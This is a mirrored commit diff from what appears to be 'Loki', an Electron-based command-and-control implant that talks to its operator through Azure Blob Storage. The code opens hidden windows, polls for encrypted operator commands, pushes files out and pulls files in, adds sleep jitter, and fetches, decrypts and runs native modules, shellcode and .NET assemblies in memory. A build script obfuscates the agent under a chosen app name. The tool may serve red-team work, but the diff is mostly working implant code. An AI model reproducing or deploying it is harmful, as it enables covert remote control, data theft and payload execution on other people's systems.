1
0
mirror of https://github.com/boku7/Loki synced 2026-06-06 15:24:27 +00:00

fixed assembly fork-n-run, now it returns output and kills the forked process after getting stdout. Fixed client desync client command collection issue with upload and download.

This commit is contained in:
Bobby Cooke
2025-04-11 09:32:16 -07:00
parent a837deda18
commit cbee144a87
8 changed files with 351 additions and 470 deletions
+59 -55
View File
@@ -1,62 +1,66 @@
const {generateUUID,generateAESKey} = require('./crypt.js');
const { generateUUID, generateAESKey } = require('./crypt.js');
class Window {
constructor() {
this.BrowserWindow = null;
}
setBrowserWindow(BrowserWindow) {
this.BrowserWindow = BrowserWindow;
}
}
class Container
{
constructor()
{
this.name = 's'+generateUUID(10);
this.key = generateAESKey();
this.blobs = {
'key': 'k-'+generateUUID(10),
'checkin': 'c-'+generateUUID(10),
'in': 'i-'+generateUUID(10),
'out': 'o-'+generateUUID(10)
};
}
setName(name) {
this.name = name;
}
setKey(key) {
this.key = {
'key' : key.key,
'iv' : key.iv
};
}
constructor() {
this.BrowserWindow = null;
}
setBrowserWindow(BrowserWindow) {
this.BrowserWindow = BrowserWindow;
}
}
class Agent
{
constructor(windowid, status = null)
{
this.window = new Window(windowid, status);
this.agentid = 'a'+generateUUID(16);
this.container = new Container();
this.checkin = Date.now();
this.sleepinterval = 5;
this.sleepjitter = 15;
this.thissleep = 5000;
}
setAgentId(agentid) {
this.agentid = agentid;
}
setContainer(container) {
this.container = container;
}
// Method to replace the window
setWindow(window) {
this.window = window;
}
class Container {
constructor() {
this.name = 's' + generateUUID(10);
this.key = generateAESKey();
this.blobs = {
'key': 'k-' + generateUUID(10),
'checkin': 'c-' + generateUUID(10),
'in': 'i-' + generateUUID(10),
'out': 'o-' + generateUUID(10)
};
}
setName(name) {
this.name = name;
}
setKey(key) {
this.key = {
'key': key.key,
'iv': key.iv
};
}
}
class Agent {
constructor(windowid, status = null) {
this.window = new Window(windowid, status);
this.agentid = 'a' + generateUUID(16);
this.container = new Container();
this.checkin = Date.now();
this.sleepinterval = 5;
this.sleepjitter = 15;
this.thissleep = 5000;
}
setAgentId(agentid) {
this.agentid = agentid;
}
setContainer(container) {
this.container = container;
}
// Method to replace the window
setWindow(window) {
this.window = window;
}
}
module.exports = {
Agent,
Window,
Container
Agent,
Window,
Container
};
-37
View File
@@ -48,43 +48,6 @@ async function func_Web_Request(options, data = null, isBytes=false) {
}
}
ipcRenderer.on('do-assembly', async (event, container, args, scexecblob, key,iv) => {
try
{
func_log(`browser.js | Hit IPC do-assembly | ${container} ${scexecblob}`);
let assemblyoutput = await func_Azure_Assembly_Download_Exec(container,scexecblob,key,iv,args);
ipcRenderer.send('end-file-op','do-assembly',assemblyoutput,key,iv);
}catch(error)
{
func_log(`Error in IPC do-assembly : ${error} ${error.stack}`);
}
});
async function func_Azure_Assembly_Download_Exec(containerName, scexecblob, key,iv,args)
{
// Construct the URL
let output = "";
const sasUrl = `https://${storageAccount}/${containerName}/${scexecblob}?${sasToken}`;
func_log(`browser.js | func_Azure_Assembly_Download_Exec | key : ${key} | iv : ${iv}`);
key = Buffer.from(key, 'hex');
iv = Buffer.from(iv, 'hex');
let response = await fetch(sasUrl);
if (!response.ok) {
output = `Couldn't download file, response: ${response.status}`;
func_log( output );
}else
{
func_log(`response.ok : ${response.ok}`);
let arrayBuffer = await response.arrayBuffer();
buffer = Buffer.from(arrayBuffer);
raw = await func_Decrypt( buffer, key, iv );
let assemblyNodePath = await ipcRenderer.invoke('get-global-path', 'assemblyNodePath');
let x = require(assemblyNodePath);
const argv = await func_Split_Quoted_String(args);
let aoutput = x.execute_assembly(raw, argv);
return aoutput;
}
}
ipcRenderer.on('do-node-load', async (event,nodepath) => {
try
{
+11 -20
View File
@@ -1,4 +1,3 @@
async function func_Split_Quoted_String(str) {
const result = [];
let current = '';
@@ -51,30 +50,26 @@ async function func_Split_Quoted_String(str) {
return result;
}
async function numcheck(value, defaultNumber, min = 1, max = 900)
{
async function numcheck(value, defaultNumber, min = 1, max = 900) {
if (typeof value !== 'number' || isNaN(value)) {
value = defaultNumber;
value = defaultNumber;
}
if (value < min) {
return min;
return min;
} else if (value > max) {
return max;
return max;
} else {
return value;
return value;
}
}
async function getrand(number, percent)
{
try
{
async function getrand(number, percent) {
try {
// Calculate the range based on the percentage
number = Number(number);
percent = Number(percent);
//common.logToFile(`getRandomValue(${number},${percent})`);
const range = number * (percent / 100);
//common.logToFile(`range : ${range}`);
// Calculate the minimum and maximum values
let minValue = number - range;
@@ -86,23 +81,19 @@ async function getrand(number, percent)
maxValue = 1000;
}
if(maxValue > 600000){
if (maxValue > 600000) {
maxValue = 600000;
}
//common.logToFile(`min value : ${minValue}`);
//common.logToFile(`max value : ${maxValue}`);
// Generate a random value between minValue and maxValue
const randomValue = Math.random() * (maxValue - minValue) + minValue;
return Math.floor(randomValue);
}catch( error )
{
} catch (error) {
// Handle error if needed
}
}
module.exports = {
func_Split_Quoted_String,
numcheck,
+1 -1
View File
@@ -2,4 +2,4 @@ module.exports = {
storageAccount: '',
metaContainer: '',
sasToken: ''
};
};
+8 -13
View File
@@ -61,23 +61,18 @@ async function func_Base64_Decode(base64) {
return decoded;
}
// function generateUUID(len) {
// // Generate a random UUID
// if (len > 20){len = 20};
// const uuid = crypto.randomUUID();
// // Remove hyphens and take the first 10 characters
// const shortUUID = uuid.replace(/-/g, '').substring(0, len);
// return shortUUID;
// }
function generateUUID(len) {
if (len > 20) len = 20; // Limit max length to 20
if (len < 1) return ''; // Handle invalid length
// Generate random bytes and convert to hex
const uuid = crypto.randomBytes(Math.ceil(len / 2)).toString('hex');
const letters = 'abcdefghijklmnopqrstuvwxyz';
const firstChar = letters[Math.floor(Math.random() * letters.length)];
// Trim to the required length
return uuid.substring(0, len);
if (len === 1) return firstChar;
// Generate (len - 1) hex characters
const uuid = crypto.randomBytes(Math.ceil((len - 1) / 2)).toString('hex');
return (firstChar + uuid).substring(0, len);
}
module.exports = {
+257 -323
View File
@@ -1,369 +1,303 @@
const { app, BrowserWindow, ipcMain } = require('electron');
const {Agent} = require('./agent.js');
const {func_Encrypt,func_Decrypt,func_Base64_Encode,func_Base64_Decode} = require('./crypt.js');
const {func_Command_Handler} = require('./handler.js');
const {func_Split_Quoted_String,numcheck,getrand} = require('./common.js');
const config = require('./config.js');
const metaContainer = config.metaContainer;
let fileop_timer = 0;
const { Agent } = require('./agent.js');
const { func_Encrypt, func_Decrypt, func_Base64_Encode, func_Base64_Decode } = require('./crypt.js');
const { func_Command_Handler } = require('./handler.js');
const { func_Split_Quoted_String, numcheck, getrand } = require('./common.js');
const config = require('./config.js');
const metaContainer = config.metaContainer;
let fileop_timer = 0;
let agent;
let isContainersInit = false;
let isContainersInit = false;
let agentwindow;
let execwindow;
let initbrowserwindow = false;
let fileop = false;
let scexec_op = false;
let dbg = true;
let exitall = false;
let launch = false;
let handover = false;
global.scexecNodePath = "./keytar.node";
let initbrowserwindow = false;
let fileop = false;
let scexec_op = false;
let dbg = true;
let exitall = false;
let launch = false;
let handover = false;
global.scexecNodePath = "./keytar.node";
global.assemblyNodePath = "./assembly.node";
function func_log(text)
{
const { log } = require('console');
if(dbg)
{
log(text);
}
function func_log(text) {
const { log } = require('console');
if (dbg) {
log(text);
}
}
async function func_Window_Create() {
initbrowserwindow = false;
agentwindow = new BrowserWindow({
width: 0,
height: 0,
show: false,
skipTaskbar: true,
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
backgroundThrottling: false,
v8CacheOptions: 'none'
}
});
initbrowserwindow = true;
agentwindow.loadFile('browser.html');
initbrowserwindow = false;
agentwindow = new BrowserWindow({
width: 0,
height: 0,
show: false,
skipTaskbar: true,
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
backgroundThrottling: false,
v8CacheOptions: 'none'
}
});
initbrowserwindow = true;
agentwindow.loadFile('browser.html');
}
app.on('window-all-closed', () => {
if (process.platform !== 'darwin') {
if (process.platform !== 'darwin') {
}
});
async function func_Window_Exec() {
execwindow = new BrowserWindow({
width: 0,
height: 0,
show: false,
skipTaskbar: true,
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
backgroundThrottling: false,
v8CacheOptions: 'none'
}
});
execwindow.loadFile('assembly.html');
execwindow = new BrowserWindow({
width: 0,
height: 0,
show: false,
skipTaskbar: true,
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
backgroundThrottling: false,
v8CacheOptions: 'none'
}
});
execwindow.loadFile('assembly.html');
}
app.on('window-all-closed', () => {
if (process.platform !== 'darwin') {
if (process.platform !== 'darwin') {
}
});
async function func_Container_Init()
{
if(isContainersInit == false)
{
//func_log(`sending IPC create-container ${agent.container.name}`);
await agentwindow.webContents.send('init-container', agent.container.name, JSON.stringify(agent.container.blobs), agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
await agentwindow.webContents.send('init-mapping-container', metaContainer, agent.agentid,agent.container.name);
if (launch == false)
{
launch = true;
//let nodepath = './git.node';
//let delay = 20000; // 20s
//agentwindow.webContents.send('do-launch',nodepath,delay);
async function func_Container_Init() {
if (isContainersInit == false) {
await agentwindow.webContents.send('init-container', agent.container.name, JSON.stringify(agent.container.blobs), agent.container.key['key'].toString('hex'), agent.container.key['iv'].toString('hex'));
await agentwindow.webContents.send('init-mapping-container', metaContainer, agent.agentid, agent.container.name);
if (launch == false) {
launch = true;
}
}
}
}
let globalPaths = {
scExecNodePath: "./keytar.node",
assemblyNodePath: "./assembly.node"
scExecNodePath: "./keytar.node",
assemblyNodePath: "./assembly.node"
};
// Handle requests from renderer to get a global value
ipcMain.handle('get-global-path', (event, key) => {
globalPaths['scexecNodePath'] = global.scexecNodePath;
globalPaths['assemblyNodePath'] = global.assemblyNodePath;
return globalPaths[key] || null; // Return the requested value
globalPaths['scexecNodePath'] = global.scexecNodePath;
globalPaths['assemblyNodePath'] = global.assemblyNodePath;
return globalPaths[key] || null;
});
// Allow renderer to update a global value
ipcMain.on('set-global-path', (event, key, value) => {
globalPaths[key] = value;
if ( key === 'scexecNodePath' )
{
global.scexecNodePath = globalPaths[key];
}else if ( key === 'assemblyNodePath' )
{
global.assemblyNodePath = globalPaths[key];
}
globalPaths[key] = value;
if (key === 'scexecNodePath') {
global.scexecNodePath = globalPaths[key];
} else if (key === 'assemblyNodePath') {
global.assemblyNodePath = globalPaths[key];
}
});
async function func_Input_Read()
{
try
{
func_log(`func_Input_Read() fileop = ${fileop}`);
fileop_timer += agent.sleepinterval*1000;
if (fileop_timer > 180) // after 3 min we wipe the file op timer and resume functionality
{
fileop = false;
}
if (isContainersInit == true && initbrowserwindow == true && fileop == false)
{
if (agentwindow && agentwindow.webContents && !agentwindow.webContents.isDestroyed())
{
await agentwindow.webContents.send('input-read',agent.container.name, agent.container.blobs['in']);
fileop_timer = 0;
}else {
func_log('Render frame was disposed before WebFrameMain could be accessed');
}
}
}catch(error)
{
func_log(`Error in func_Input_Read() main.js ${error} ${error.stack}`);
}
}
function func_Window_Stat()
{
try
{
if (isContainersInit == true && fileop == false && exitall == false)
{
if(agent.window.checkin && agent.checkin)
{
let elapsed_window_checkin = (Date.now() - agent.window.checkin)/1000;
let elapsed_agent_checkin = (Date.now() - agent.checkin)/1000;
if (elapsed_window_checkin > 40 || (elapsed_agent_checkin > agent.sleepinterval * 5 || scexec_op == true) ) // modify to change spawn if no checkin time
{
func_log(`Creating new window with window ID ${agentwindow.id+1}`);
let old_window = agentwindow;
agent.window.checkin = Date.now();
agent.checkin = Date.now();
func_Window_Create();
try
{
if(scexec_op == false)
{
old_window.close();
}else
{
scexec_op = false;
}
}catch(err){}
async function func_Input_Read() {
try {
func_log(`func_Input_Read() fileop = ${fileop}`);
fileop_timer += agent.sleepinterval * 1000;
if (fileop_timer > 180) {
fileop = false;
}
}
if (isContainersInit == true && initbrowserwindow == true && fileop == false) {
if (agentwindow && agentwindow.webContents && !agentwindow.webContents.isDestroyed()) {
await agentwindow.webContents.send('input-read', agent.container.name, agent.container.blobs['in']);
fileop_timer = 0;
} else {
func_log('Render frame was disposed before WebFrameMain could be accessed');
}
}
} catch (error) {
func_log(`Error in func_Input_Read() main.js ${error} ${error.stack}`);
}
}catch(error)
{
func_log(error);
}
}
}
function func_Window_Stat() {
try {
if (isContainersInit == true && fileop == false && exitall == false) {
if (agent.window.checkin && agent.checkin) {
let elapsed_window_checkin = (Date.now() - agent.window.checkin) / 1000;
let elapsed_agent_checkin = (Date.now() - agent.checkin) / 1000;
if (elapsed_window_checkin > 40 || (elapsed_agent_checkin > agent.sleepinterval * 5 || scexec_op == true)) {
func_log(`Creating new window with window ID ${agentwindow.id + 1}`);
let old_window = agentwindow;
agent.window.checkin = Date.now();
agent.checkin = Date.now();
func_Window_Create();
try {
if (scexec_op == false) {
old_window.close();
} else {
scexec_op = false;
}
} catch (err) {}
}
}
}
} catch (error) {
func_log(error);
}
}
app.on('ready', async () => {
const initWindowStatus = 'ready';
agent = new Agent();
await func_Window_Create();
setInterval(func_Window_Stat, 5000);
while(true)
{
if(!isContainersInit)
{
await new Promise(resolve => setTimeout(resolve, 3000));
await func_Container_Init();
}
await func_Input_Read();
func_log(`Agent.thissleep = ${agent.thissleep}`);
if(900*1000 > agent.thissleep && agent.thissleep > 1*888)
{
func_log(`Sleeping for ${agent.thissleep}`);
await new Promise(resolve => setTimeout(resolve, agent.thissleep));
}else
{
await new Promise(resolve => setTimeout(resolve, 10000));
}
}
});
ipcMain.on('checkin', async (event,checkin) => {
//func_log(`Browser window checked in with main at ${checkin}`);
agent.window.checkin = checkin;
});
ipcMain.on('poll-complete', (event,agentcheckin,inblob) => {
// func_log(`Browser window updated input blob ${inblob} with timestamp ${agentcheckin}`);
agent.checkin = agentcheckin;
});
ipcMain.on('do-command', async (event,command) => {
try
{
let command_output = "";
let execwin = false;
handover = false;
// Decode and decrypt the command received from the input channel blob
command = await func_Base64_Decode(command);
command = await func_Decrypt(command, agent.container.key['key'], agent.container.key['iv']);
func_log(`Decrypted command : ${command}`);
// Parse the command arguments into array argv[]
const argv = await func_Split_Quoted_String(command);
let sendoutput = true;
//log(`[+] argv: ${argv}`);
if (argv[0] != "")
{
if (argv[0] === 'sleep')
{
func_log(`[-] do-command sleep | main.js | argv[1] : ${argv[1]} | argv[2] : ${argv[2]}`);
if(!agent.sleepinterval)
{
agent.sleepinterval = 5;
const initWindowStatus = 'ready';
agent = new Agent();
await func_Window_Create();
setInterval(func_Window_Stat, 5000);
while (true) {
if (!isContainersInit) {
await new Promise(resolve => setTimeout(resolve, 3000));
await func_Container_Init();
}
if(agent.sleepinterval)
{
agent.sleepinterval = await numcheck(Number(argv[1]), 5, 0, max = 900);
agent.sleepjitter = await numcheck(Number(argv[2]), 15, 0, max = 300);
command_output = `Sleeping for ${agent.sleepinterval}s with ${agent.sleepjitter}% jitter.`;
agent.thissleep = await getrand(agent.sleepinterval*1000,agent.sleepjitter);
}else
{
command_output = `[!] Error : agent.sleepinterval doesn't exist.`;
await func_Input_Read();
func_log(`Agent.thissleep = ${agent.thissleep}`);
if (900 * 1000 > agent.thissleep && agent.thissleep > 1 * 888) {
func_log(`Sleeping for ${agent.thissleep}`);
await new Promise(resolve => setTimeout(resolve, agent.thissleep));
} else {
await new Promise(resolve => setTimeout(resolve, 10000));
}
}
else if (argv[0] === 'exit-window')
{
agentwindow.close();
}
else if (argv[0] === 'exit-all')
{
agentwindow.close();
exitall = true;
}
else if (argv[0] === 'download')
{
func_log(`[-] do-command download | main.js`);
let srcpath = argv[1];
let pushblob = argv[2];
func_log(`srcpath : ${srcpath} | pushblob : ${pushblob}`);
command_output = `agent response | Started job to push ${srcpath} file to ${agent.container.name}/${pushblob}`;
fileop = true;
agentwindow.webContents.send('do-push-file',agent.container.name, srcpath, pushblob,agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
}
else if (argv[0] === 'upload')
{
func_log(`[-] do-command upload | main.js`);
let pullblob = argv[1];
let dstpath = argv[2];
func_log(`dstpath : ${dstpath} | pullblob : ${pullblob}`);
command_output = `agent response | Started job to pull file from ${agent.container.name}/${pullblob} to ${dstpath}`;
fileop = true;
agentwindow.webContents.send('do-pull-file',agent.container.name, pullblob,dstpath,agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
}
else if (argv[0] === 'load' || argv[0] === 'scexec' || argv[0] === 'assembly')
{
}
});
sendoutput = false;
execwin = true;
await func_Window_Exec();
ipcMain.on('checkin', async (event, checkin) => {
agent.window.checkin = checkin;
});
ipcMain.on('poll-complete', (event, agentcheckin, inblob) => {
agent.checkin = agentcheckin;
});
ipcMain.on('do-command', async (event, command) => {
try {
let command_output = "";
let execwin = false;
handover = false;
// Decode and decrypt the command received from the input channel blob
command = await func_Base64_Decode(command);
command = await func_Decrypt(command, agent.container.key['key'], agent.container.key['iv']);
func_log(`Decrypted command : ${command}`);
// Parse the command arguments into array argv[]
const argv = await func_Split_Quoted_String(command);
let sendoutput = true;
if (argv[0] != "") {
if (argv[0] === 'sleep') {
func_log(`[-] do-command sleep | main.js | argv[1] : ${argv[1]} | argv[2] : ${argv[2]}`);
if (!agent.sleepinterval) {
agent.sleepinterval = 5;
}
if (agent.sleepinterval) {
agent.sleepinterval = await numcheck(Number(argv[1]), 5, 0, max = 900);
agent.sleepjitter = await numcheck(Number(argv[2]), 15, 0, max = 300);
command_output = `Sleeping for ${agent.sleepinterval}s with ${agent.sleepjitter}% jitter.`;
agent.thissleep = await getrand(agent.sleepinterval * 1000, agent.sleepjitter);
} else {
command_output = `[!] Error : agent.sleepinterval doesn't exist.`;
}
} else if (argv[0] === 'exit-window') {
agentwindow.close();
} else if (argv[0] === 'exit-all') {
agentwindow.close();
exitall = true;
} else if (argv[0] === 'download') {
func_log(`[-] do-command download | main.js`);
sendoutput = false;
let srcpath = argv[1];
let pushblob = argv[2];
func_log(`srcpath : ${srcpath} | pushblob : ${pushblob}`);
fileop = true;
handover = false;
agentwindow.webContents.send('do-push-file', agent.container.name, srcpath, pushblob, agent.container.key['key'].toString('hex'), agent.container.key['iv'].toString('hex'));
} else if (argv[0] === 'upload') {
func_log(`[-] do-command upload | main.js`);
sendoutput = false;
let pullblob = argv[1];
let dstpath = argv[2];
func_log(`dstpath : ${dstpath} | pullblob : ${pullblob}`);
fileop = true;
handover = false;
agentwindow.webContents.send('do-pull-file', agent.container.name, pullblob, dstpath, agent.container.key['key'].toString('hex'), agent.container.key['iv'].toString('hex'));
} else if (argv[0] === 'load' || argv[0] === 'scexec' || argv[0] === 'assembly') {
sendoutput = false;
execwin = true;
await func_Window_Exec();
await new Promise(resolve => setTimeout(resolve, 5000));
if (argv[0] === 'load') {
let nodepath = argv[1];
handover = true;
if (execwindow) {
execwindow.webContents.send('nodeload', nodepath);
}
} else if (argv[0] === 'scexec') {
let encscblob = argv[1];
handover = true;
if (execwindow) {
execwindow.webContents.send('scexec', agent.container.name, encscblob, agent.container.key['key'].toString('hex'), agent.container.key['iv'].toString('hex'));
}
} else if (argv[0] === 'assembly') {
let encscblob = argv[1];
let args = command.slice(22);
handover = false;
if (execwindow) {
execwindow.webContents.send('assembly', agent.container.name, args, encscblob, agent.container.key['key'].toString('hex'), agent.container.key['iv'].toString('hex'));
}
}
} else {
func_log(`[-] Hit do-command func_Command_Handler(${command}, ${JSON.stringify(argv)}) | main.js`);
command_output = await func_Command_Handler(command, argv);
}
} else {
command_output = `Failed to execute command : ${command}`;
}
if (sendoutput == true && execwin == false) {
func_log(`Command output : ${command_output}`);
command_output = await func_Encrypt(command_output, agent.container.key['key'], agent.container.key['iv']);
command_output = await func_Base64_Encode(command_output);
agentwindow.webContents.send('send-output', agent.container.name, agent.container.blobs['out'], command_output);
}
} catch (error) {
func_log(`${error} ${error.stack}`);
}
});
ipcMain.on('containers-created', async (event, status) => {
func_log(`IPC containers-created recieved from browser window with status ${status}`);
if (status == true) {
isContainersInit = true;
agent.window.checkin = Date.now();
agent.checkin = Date.now();
} else {
isContainersInit = false;
await new Promise(resolve => setTimeout(resolve, 5000));
if (argv[0] === 'load')
{
let nodepath = argv[1];
handover = true;
if(execwindow)
{
execwindow.webContents.send('nodeload',nodepath);
}
}
else if (argv[0] === 'scexec')
{
let encscblob = argv[1];
handover = true;
if(execwindow)
{
execwindow.webContents.send('scexec',agent.container.name, encscblob, agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
}
}else if (argv[0] === 'assembly')
{
let encscblob = argv[1];
let args = command.slice(22);
handover = false;
if(execwindow)
{
execwindow.webContents.send('assembly',agent.container.name, args, encscblob, agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
}
}
}
else
{
func_log(`[-] Hit do-command func_Command_Handler(${command}, ${JSON.stringify(argv)}) | main.js`);
command_output = await func_Command_Handler(command,argv);
}
}else // if there was no argv or impromper args then return failed message to client
{
command_output = `Failed to execute command : ${command}`;
await func_Container_Init();
}
if(sendoutput == true && execwin == false)
{
func_log(`Command output : ${command_output}`);
command_output = await func_Encrypt(command_output, agent.container.key['key'], agent.container.key['iv']);
command_output = await func_Base64_Encode(command_output);
agentwindow.webContents.send('send-output',agent.container.name, agent.container.blobs['out'],command_output);
});
ipcMain.on('end-file-op', async (event, ipcname, ipcoutput, key, iv) => {
try {
func_log(`Hit IPC main.js end-file-op from ${ipcname}`);
func_log(ipcoutput);
key = Buffer.from(key, 'hex');
iv = Buffer.from(iv, 'hex');
fileop = false;
let command_output = await func_Encrypt(ipcoutput, key, iv);
command_output = await func_Base64_Encode(command_output);
agentwindow.webContents.send('send-output', agent.container.name, agent.container.blobs['out'], command_output);
if (handover === false) {
execwindow.close();
}
} catch (error) {
func_log(`[!] Error in end-file-op IPC main.js ${error} ${error.stack}`);
}
}catch(error)
{
func_log(`${error} ${error.stack}`);
}
});
ipcMain.on('containers-created', async (event,status) => {
func_log(`IPC containers-created recieved from browser window with status ${status}`);
if (status == true)
{
isContainersInit = true;
agent.window.checkin = Date.now();
agent.checkin = Date.now();
}else
{
isContainersInit = false;
await new Promise(resolve => setTimeout(resolve, 5000));
await func_Container_Init();
}
});
ipcMain.on('end-file-op', async (event,ipcname,ipcoutput,key,iv) => {
try{
func_log(`Hit IPC main.js end-file-op from ${ipcname}`);
func_log(ipcoutput);
key = Buffer.from(key, 'hex');
iv = Buffer.from(iv, 'hex');
fileop = false;
let command_output = await func_Encrypt(ipcoutput, key,iv);
command_output = await func_Base64_Encode(command_output);
agentwindow.webContents.send('send-output',agent.container.name, agent.container.blobs['out'],command_output);
if (handover === false)
{
//execwindow.close();
}
}catch(error)
{
func_log(`[!] Error in end-file-op IPC main.js ${error} ${error.stack}`);
}
});
+1 -7
View File
@@ -4,14 +4,12 @@
"main": "./main.js",
"scripts": {
"start": "electron .",
"test": "echo \"Error: no test specified\" && exit 1",
"pack": "electron-builder --dir",
"dist": "electron-builder"
},
"keywords": [],
"author": "",
"homepage": "",
"license": "MIT",
"license": "",
"description": "",
"devDependencies": {
"electron": "^31.1.0",
@@ -51,9 +49,5 @@
"AppImage"
]
}
},
"dependencies": {
"@azure/storage-blob": "^12.23.0",
"https-proxy-agent": "^7.0.4"
}
}
+14 -14
View File
@@ -52,24 +52,24 @@ if (argMap.h || argMap.help) {
Usage: node obfuscateAgent.js [AppName] [--account <StorageAccount>] [--token <SASToken>] [--meta <ContainerName>] [-h|--help] [--debug|-d]
Arguments:
AppName Optional. Used to name the final output in package.json.
Must be lowercase, start with a letter, contain only letters, numbers, or dashes.
--account Azure Storage Account name. Will prompt if not provided.
--token Azure SAS Token. Will prompt if not provided.
--meta Container name for metadata. If omitted, a random name is generated.
--cleanup Remove node modules, package.json, and other dependency files after execution.
-h, --help Show this help message and exit.
--debug, -d Enable verbose output about file operations.
AppName Optional. Used to name the final output in package.json.
Must be lowercase, start with a letter, contain only letters, numbers, or dashes.
--account Azure Storage Account name. Will prompt if not provided.
--token Azure SAS Token. Will prompt if not provided.
--meta Container name for metadata. If omitted, a random name is generated.
--cleanup Remove node modules, package.json, and other dependency files after execution.
-h, --help Show this help message and exit.
--debug, -d Enable verbose output about file operations.
Example:
node obfuscateAgent.js MyTool --account myacct --token 'se=2025...' --meta metaX123456 --debug
node obfuscateAgent.js MyTool --account myacct --token 'se=2025...' --meta metaX123456 --debug
This script:
- Obfuscates JavaScript files in ./agent and writes to ./app
- Updates ./agent/config.js with storage config
- Copies config to ./config.js
- Generates or updates package.json
- [Optional] Cleans up node_modules, package.json, etc. after execution
- Obfuscates JavaScript files in ./agent and writes to ./app
- Updates ./agent/config.js with storage config
- Copies config to ./config.js
- Generates or updates package.json
- [Optional] Cleans up node_modules, package.json, etc. after execution
`);
process.exit(0);
}